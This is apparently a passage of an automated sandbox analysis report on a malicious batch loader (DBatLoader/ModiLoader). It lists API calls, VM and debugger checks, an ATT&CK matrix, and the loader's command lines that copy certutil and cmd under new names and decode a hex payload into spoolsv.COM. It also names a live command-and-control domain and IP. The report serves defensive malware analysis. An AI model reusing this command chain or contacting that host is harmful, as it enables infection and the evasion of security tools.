          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7123674 #357,LocalAlloc,#357,wcsrchr,FindFirstFileW,GetLastError,#359,lstrcmpW,lstrcmpW,#359,RemoveDirectoryW,GetLastError,#359,#359,FindNextFileW,FindClose,LocalFree,LocalFree,DeleteFileW,GetLastError,#359,6_2_00007FF7F7123674
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70AD440 GetFileAttributesW,#357,#357,#357,FindFirstFileW,LocalFree,#357,FindNextFileW,#357,LocalFree,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,6_2_00007FF7F70AD440
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70ED4A4 CreateSemaphoreW,GetLastError,CreateEventW,GetLastError,GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,CloseHandle,CloseHandle,6_2_00007FF7F70ED4A4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EB3D8 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,I_CryptCreateLruCache,GetLastError,I_CryptCreateLruCache,GetLastError,#357,6_2_00007FF7F70EB3D8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E5E58 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,6_2_00007FF7F70E5E58
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EDBC0 FindFirstFileW,GetLastError,CertOpenStore,CertAddStoreToCollection,CertCloseStore,FindNextFileW,GetLastError,GetLastError,#357,GetLastError,GetLastError,#357,LocalFree,CertCloseStore,CertCloseStore,FindClose,6_2_00007FF7F70EDBC0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7141B04 FindFirstFileW,GetLastError,#357,#359,DeleteFileW,FindNextFileW,FindClose,#359,6_2_00007FF7F7141B04
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71419F8 #359,FindFirstFileW,FindNextFileW,FindClose,6_2_00007FF7F71419F8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70DC6F8 memset,qsort,#357,FindFirstFileW,GetLastError,bsearch,LocalAlloc,LocalReAlloc,LocalAlloc,FindNextFileW,GetLastError,DeleteFileW,GetLastError,#359,#357,FindClose,LocalFree,LocalFree,6_2_00007FF7F70DC6F8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F714234C wcschr,#357,#357,#359,FindFirstFileW,wcsrchr,_wcsnicmp,iswxdigit,wcstoul,FindNextFileW,#359,#359,#357,#357,LocalFree,LocalFree,FindClose,6_2_00007FF7F714234C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71410C4 #357,FindFirstFileW,LocalFree,FindNextFileW,FindClose,LocalFree,#357,6_2_00007FF7F71410C4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7143100 #357,FindFirstFileW,#359,FindNextFileW,FindClose,LocalFree,#357,6_2_00007FF7F7143100
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7146F80 #359,FindFirstFileW,FindNextFileW,FindClose,LocalAlloc,#357,6_2_00007FF7F7146F80
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_029558B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,9_2_029558B4
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3E823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,10_2_00007FF6BF3E823C
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3E2978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,10_2_00007FF6BF3E2978
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3F7B4C FindFirstFileW,FindNextFileW,FindClose,10_2_00007FF6BF3F7B4C
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D1560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,10_2_00007FF6BF3D1560
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3D35B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,10_2_00007FF6BF3D35B8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712511C GetSystemInfo,CryptFindOIDInfo,#359,CreateFileW,GetLastError,#357,#359,GetFileSize,#357,CreateFileMappingW,GetLastError,#359,#357,LocalAlloc,BCryptCreateHash,#360,MapViewOfFile,BCryptHashData,#360,UnmapViewOfFile,LocalAlloc,GetLastError,#357,GetLastError,BCryptFinishHash,#360,LocalAlloc,LocalFree,#357,UnmapViewOfFile,CloseHandle,CloseHandle,BCryptDestroyHash,#360,LocalFree,LocalFree,6_2_00007FF7F712511C
          Source: Amcache.hve.17.drBinary or memory string: VMware
          Source: Amcache.hve.17.drBinary or memory string: VMware Virtual USB Mouse
          Source: Amcache.hve.17.drBinary or memory string: vmci.syshbin
          Source: Amcache.hve.17.drBinary or memory string: VMware, Inc.
          Source: Amcache.hve.17.drBinary or memory string: VMware20,1hbin@
          Source: Amcache.hve.17.drBinary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
          Source: Amcache.hve.17.drBinary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
          Source: Amcache.hve.17.drBinary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
          Source: spoolsv.COM, 00000009.00000002.2463208241.00000000005A1000.00000004.00000020.00020000.00000000.sdmp, spoolsv.COM, 00000009.00000002.2463208241.000000000053F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
          Source: Amcache.hve.17.drBinary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
          Source: Amcache.hve.17.drBinary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
          Source: Amcache.hve.17.drBinary or memory string: c:/windows/system32/drivers/vmci.sys
          Source: Amcache.hve.17.drBinary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
          Source: Amcache.hve.17.drBinary or memory string: vmci.sys
          Source: Amcache.hve.17.drBinary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
          Source: Amcache.hve.17.drBinary or memory string: vmci.syshbin`
          Source: Amcache.hve.17.drBinary or memory string: \driver\vmci,\driver\pci
          Source: Amcache.hve.17.drBinary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
          Source: Amcache.hve.17.drBinary or memory string: VMware20,1
          Source: Amcache.hve.17.drBinary or memory string: Microsoft Hyper-V Generation Counter
          Source: Amcache.hve.17.drBinary or memory string: NECVMWar VMware SATA CD00
          Source: Amcache.hve.17.drBinary or memory string: VMware Virtual disk SCSI Disk Device
          Source: Amcache.hve.17.drBinary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
          Source: Amcache.hve.17.drBinary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
          Source: Amcache.hve.17.drBinary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
          Source: Amcache.hve.17.drBinary or memory string: VMware PCI VMCI Bus Device
          Source: Amcache.hve.17.drBinary or memory string: VMware VMCI Bus Device
          Source: Amcache.hve.17.drBinary or memory string: VMware Virtual RAM
          Source: Amcache.hve.17.drBinary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
          Source: Amcache.hve.17.drBinary or memory string: vmci.inf_amd64_68ed49469341f563
          Source: C:\Users\Public\Libraries\spoolsv.COMAPI call chain: ExitProcess graph end node

          Anti Debugging

          barindex
          Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_0296EBF0 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,9_2_0296EBF0
          Source: C:\Users\Public\Libraries\spoolsv.COMProcess queried: DebugPortJump to behavior
          Source: C:\Users\Public\Libraries\spoolsv.COMProcess queried: DebugPortJump to behavior
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3F63FC GetCurrentThreadId,IsDebuggerPresent,OutputDebugStringW,3_2_00007FF6BF3F63FC
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: 9_2_029687A0 LoadLibraryW,GetProcAddress,FreeLibrary,9_2_029687A0
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3E823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,3_2_00007FF6BF3E823C
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3E8FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,3_2_00007FF6BF3E8FA4
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3E93B0 SetUnhandledExceptionFilter,3_2_00007FF6BF3E93B0
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3E8FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,5_2_00007FF6BF3E8FA4
          Source: C:\Users\Public\alpha.exeCode function: 5_2_00007FF6BF3E93B0 SetUnhandledExceptionFilter,5_2_00007FF6BF3E93B0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71753E0 SetUnhandledExceptionFilter,6_2_00007FF7F71753E0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7174E18 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,6_2_00007FF7F7174E18
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3E8FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,10_2_00007FF6BF3E8FA4
          Source: C:\Users\Public\alpha.exeCode function: 10_2_00007FF6BF3E93B0 SetUnhandledExceptionFilter,10_2_00007FF6BF3E93B0

          HIPS / PFW / Operating System Protection Evasion

          barindex
          Drops or copies certutil.exe with a different name (likely to bypass HIPS)
          Source: C:\Windows\System32\extrac32.exeFile created: C:\Users\Public\kn.exeJump to dropped file
          Drops or copies cmd.exe with a different name (likely to bypass HIPS)
          Source: C:\Windows\System32\extrac32.exeFile created: C:\Users\Public\alpha.exeJump to dropped file
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7127024 GetModuleHandleW,GetProcAddress,#356,#357,CloseHandle,LocalFree,LocalFree,LocalFree,ImpersonateLoggedOnUser,#356,EqualSid,#357,LogonUserExW,GetLastError,ImpersonateLoggedOnUser,#356,#359,RevertToSelf,#356,6_2_00007FF7F7127024
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\extrac32.exe C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe" Jump to behavior
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exeJump to behavior
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Svcrhpjadgyclc.cmd" "C:\\Users\\Public\\spoolsv.MPEG" 9 Jump to behavior
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\spoolsv.MPEG" "C:\\Users\\Public\\Libraries\\spoolsv.COM" 12 Jump to behavior
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\Libraries\spoolsv.COM C:\Users\Public\Libraries\spoolsv.COMJump to behavior
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S Jump to behavior
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\spoolsv.MPEG" / A / F / Q / S Jump to behavior
          Source: C:\Users\Public\alpha.exeProcess created: C:\Windows\System32\extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exeJump to behavior
          Source: C:\Users\Public\alpha.exeProcess created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Svcrhpjadgyclc.cmd" "C:\\Users\\Public\\spoolsv.MPEG" 9 Jump to behavior
          Source: C:\Users\Public\alpha.exeProcess created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\spoolsv.MPEG" "C:\\Users\\Public\\Libraries\\spoolsv.COM" 12 Jump to behavior
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71572B0 CAFindByName,#359,LocalAlloc,InitializeSecurityDescriptor,GetLastError,SetSecurityDescriptorDacl,GetLastError,GetSecurityDescriptorLength,LocalAlloc,MakeSelfRelativeSD,GetLastError,CASetCASecurity,CAUpdateCAEx,#357,LocalFree,LocalFree,LocalFree,CACloseCA,6_2_00007FF7F71572B0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7114E88 DsRoleGetPrimaryDomainInformation,#357,AllocateAndInitializeSid,GetLastError,#357,AllocateAndInitializeSid,GetLastError,#357,#357,DsRoleFreeMemory,LocalFree,#357,LocalFree,LocalFree,LocalFree,6_2_00007FF7F7114E88
          Source: C:\Users\Public\alpha.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,3_2_00007FF6BF3E51EC
          Source: C:\Users\Public\alpha.exeCode function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,3_2_00007FF6BF3D6EE4
          Source: C:\Users\Public\alpha.exeCode function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,3_2_00007FF6BF3E3140
          Source: C:\Users\Public\alpha.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,5_2_00007FF6BF3E51EC
          Source: C:\Users\Public\alpha.exeCode function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,5_2_00007FF6BF3D6EE4
          Source: C:\Users\Public\alpha.exeCode function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,5_2_00007FF6BF3E3140
          Source: C:\Users\Public\kn.exeCode function: LoadLibraryExW,SearchPathW,FindResourceExW,GetUserDefaultUILanguage,GetLocaleInfoW,wcsncmp,GetSystemDefaultUILanguage,FreeLibrary,FreeLibrary,LoadLibraryExW,FreeLibrary,6_2_00007FF7F7173800
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,9_2_02955A78
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: GetLocaleInfoA,9_2_0295A798
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: GetLocaleInfoA,9_2_0295A74C
          Source: C:\Users\Public\Libraries\spoolsv.COMCode function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,9_2_02955B84
          Source: C:\Users\Public\alpha.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,10_2_00007FF6BF3E51EC
          Source: C:\Users\Public\alpha.exeCode function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,10_2_00007FF6BF3D6EE4
          Source: C:\Users\Public\alpha.exeCode function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,10_2_00007FF6BF3E3140
          Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Users\Public\alpha.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Users\Public\alpha.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3F8654 GetSystemTime,SystemTimeToFileTime,3_2_00007FF6BF3F8654
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F706950C ConvertStringSidToSidW,LookupAccountNameW,GetLastError,#359,LocalAlloc,#357,LocalAlloc,LookupAccountNameW,GetLastError,IsValidSid,ConvertSidToStringSidW,GetLastError,LocalFree,LocalFree,6_2_00007FF7F706950C
          Source: C:\Users\Public\alpha.exeCode function: 3_2_00007FF6BF3D586C GetVersion,3_2_00007FF6BF3D586C
          Source: Amcache.hve.17.drBinary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
          Source: Amcache.hve.17.drBinary or memory string: msmpeng.exe
          Source: Amcache.hve.17.drBinary or memory string: c:\program files\windows defender\msmpeng.exe
          Source: Amcache.hve.17.drBinary or memory string: MsMpEng.exe
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70A5648 #357,#357,DsGetSiteNameW,#359,LocalAlloc,LocalAlloc,GetTickCount,DsGetSiteNameW,GetTickCount,#207,LocalFree,#359,NetApiBufferFree,#357,#357,#207,LocalFree,#359,#359,#359,LocalFree,NetApiBufferFree,NetApiBufferFree,LocalFree,LocalFree,#357,DsUnBindW,6_2_00007FF7F70A5648
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70854A0 wcschr,NetApiBufferFree,DsFreeNameResultW,#13,LocalFree,DsGetDcNameW,#359,#224,#224,DsBindW,#357,DsCrackNamesW,#357,#145,#359,#359,#14,#359,#73,#359,#208,#26,#127,LocalFree,#140,#359,#224,#167,#27,#357,#357,#41,NetApiBufferFree,DsUnBindW,DsFreeNameResultW,#13,LocalFree,6_2_00007FF7F70854A0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F709E568 #357,LookupAccountSidW,GetLastError,#357,DsGetDcNameW,DsBindW,DsGetDomainControllerInfoW,DsGetDomainControllerInfoW,#357,DsUnBindW,NetApiBufferFree,LocalFree,6_2_00007FF7F709E568
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F708227C DsGetDcNameW,#357,DsBindW,DsCrackNamesW,#357,#357,#357,#357,#357,LocalAlloc,#359,DsUnBindW,NetApiBufferFree,DsFreeNameResultW,LocalFree,LocalFree,6_2_00007FF7F708227C

          Mitre Att&ck Matrix

          ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
          Gather Victim Identity InformationAcquire Infrastructure2
          Valid Accounts          		1
          Native API          		1
          DLL Side-Loading          		1
          DLL Side-Loading          		2
          Disable or Modify Tools          		OS Credential Dumping1
          System Time Discovery          		Remote Services11
          Archive Collected Data          		3
          Ingress Tool Transfer          		Exfiltration Over Other Network Medium1
          Data Encrypted for Impact
          CredentialsDomainsDefault AccountsScheduled Task/Job2
          Valid Accounts          		2
          Valid Accounts          		1
          Deobfuscate/Decode Files or Information          		LSASS Memory1
          Account Discovery          		Remote Desktop ProtocolData from Removable Media21
          Encrypted Channel          		Exfiltration Over BluetoothNetwork Denial of Service
          Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)21
          Access Token Manipulation          		2
          Obfuscated Files or Information          		Security Account Manager1
          System Network Connections Discovery          		SMB/Windows Admin SharesData from Network Shared Drive3
          Non-Application Layer Protocol          		Automated ExfiltrationData Encrypted for Impact
          Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook11
          Process Injection          		1
          Install Root Certificate          		NTDS1
          File and Directory Discovery          		Distributed Component Object ModelInput Capture114
          Application Layer Protocol          		Traffic DuplicationData Destruction
          Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
          Timestomp          		LSA Secrets35
          System Information Discovery          		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
          Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
          DLL Side-Loading          		Cached Domain Credentials1
          Query Registry          		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
          DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items211
          Masquerading          		DCSync341
          Security Software Discovery          		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
          Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job2
          Valid Accounts          		Proc Filesystem1
          Virtualization/Sandbox Evasion          		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
          Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
          Virtualization/Sandbox Evasion          		/etc/passwd and /etc/shadow1
          System Owner/User Discovery          		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
          IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron21
          Access Token Manipulation          		Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
          Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd11
          Process Injection          		Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1578216 Sample: Svcrhpjadgyclc.cmd Startdate: 19/12/2024 Architecture: WINDOWS Score: 100 37 swamfoxinnc.com 2->37 41 Found malware configuration 2->41 43 Multi AV Scanner detection for submitted file 2->43 45 Yara detected DBatLoader 2->45 47 5 other signatures 2->47 8 cmd.exe 1 2->8         started        signatures3 process4 process5 10 spoolsv.COM 8->10         started        14 extrac32.exe 1 8->14         started        17 alpha.exe 1 8->17         started        19 5 other processes 8->19 dnsIp6 39 swamfoxinnc.com 176.123.5.143, 443, 49730, 49731 ALEXHOSTMD Moldova Republic of 10->39 53 Antivirus detection for dropped file 10->53 55 Multi AV Scanner detection for dropped file 10->55 57 Allocates many large memory junks 10->57 59 Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent) 10->59 21 WerFault.exe 2 16 10->21         started        35 C:\Users\Public\alpha.exe, PE32+ 14->35 dropped 61 Drops PE files to the user root directory 14->61 63 Drops or copies certutil.exe with a different name (likely to bypass HIPS) 14->63 65 Drops or copies cmd.exe with a different name (likely to bypass HIPS) 14->65 23 kn.exe 3 2 17->23         started        26 kn.exe 2 19->26         started        29 extrac32.exe 1 19->29         started        file7 signatures8 process9 file10 49 Registers a new ROOT certificate 23->49 51 Drops PE files with a suspicious file extension 23->51 31 C:\Users\Public\Libraries\spoolsv.COM, PE32 26->31 dropped 33 C:\Users\Public\kn.exe, PE32+ 29->33 dropped signatures11

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          Svcrhpjadgyclc.cmd21%ReversingLabsScript-BAT.Trojan.Heuristic

          Dropped Files

          SourceDetectionScannerLabelLink
          C:\Users\Public\Libraries\spoolsv.COM100%AviraHEUR/AGEN.1326111
          C:\Users\Public\Libraries\spoolsv.COM55%ReversingLabsWin32.Trojan.ModiLoader
          C:\Users\Public\alpha.exe0%ReversingLabs
          C:\Users\Public\kn.exe0%ReversingLabs

          Unpacked PE Files

          ⊘No Antivirus matches

          Domains

          ⊘No Antivirus matches

          URLs

          SourceDetectionScannerLabelLink
          https://%ws/%ws_%ws_%ws/service.svc/%wsADPolicyProviderSCEP0%Avira URL Cloudsafe
          https://swamfoxinnc.com/233_Svcr0%Avira URL Cloudsafe
          https://swamfoxinnc.com/233_Svcrhpjadgy0%Avira URL Cloudsafe
          https://swamfoxinnc.com/233_Svcrhpjadgyvf0%Avira URL Cloudsafe
          https://swamfoxinnc.com/233_Svcrhpjadgy8)0%Avira URL Cloudsafe
          https://swamfoxinnc.com/233_SvcrhpjadgyF)0%Avira URL Cloudsafe
          https://swamfoxinnc.com:443/233_Svcrhpjadgy0%Avira URL Cloudsafe
          https://swamfoxinnc.com/L?0%Avira URL Cloudsafe
          https://swamfoxinnc.com/233_SvcrhpjadgyBSX9S-0%Avira URL Cloudsafe
          https://swamfoxinnc.com/d0%Avira URL Cloudsafe
          https://swamfoxinnc.com/4?0%Avira URL Cloudsafe
          https://%ws/%ws_%ws_%ws/service.svc/%ws0%Avira URL Cloudsafe
          https://swamfoxinnc.com/233_Svcrhpjadgyn):0%Avira URL Cloudsafe
          https://swamfoxinnc.com/233_SvcrhpjadgyW0%Avira URL Cloudsafe
          https://swamfoxinnc.com/rx0%Avira URL Cloudsafe
          https://swamfoxinnc.com/233_SvcrhpjadgyBSX9S0%Avira URL Cloudsafe

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          swamfoxinnc.com
          		176.123.5.143
          		truetrue
            		unknown

            Contacted URLs

            NameMaliciousAntivirus DetectionReputation
            https://swamfoxinnc.com/233_Svcrhpjadgytrue
            • Avira URL Cloud: safe
            		unknown

            URLs from Memory and Binaries

            NameSourceMaliciousAntivirus DetectionReputation
            https://swamfoxinnc.com/L?spoolsv.COM, 00000009.00000002.2463208241.00000000005F0000.00000004.00000020.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
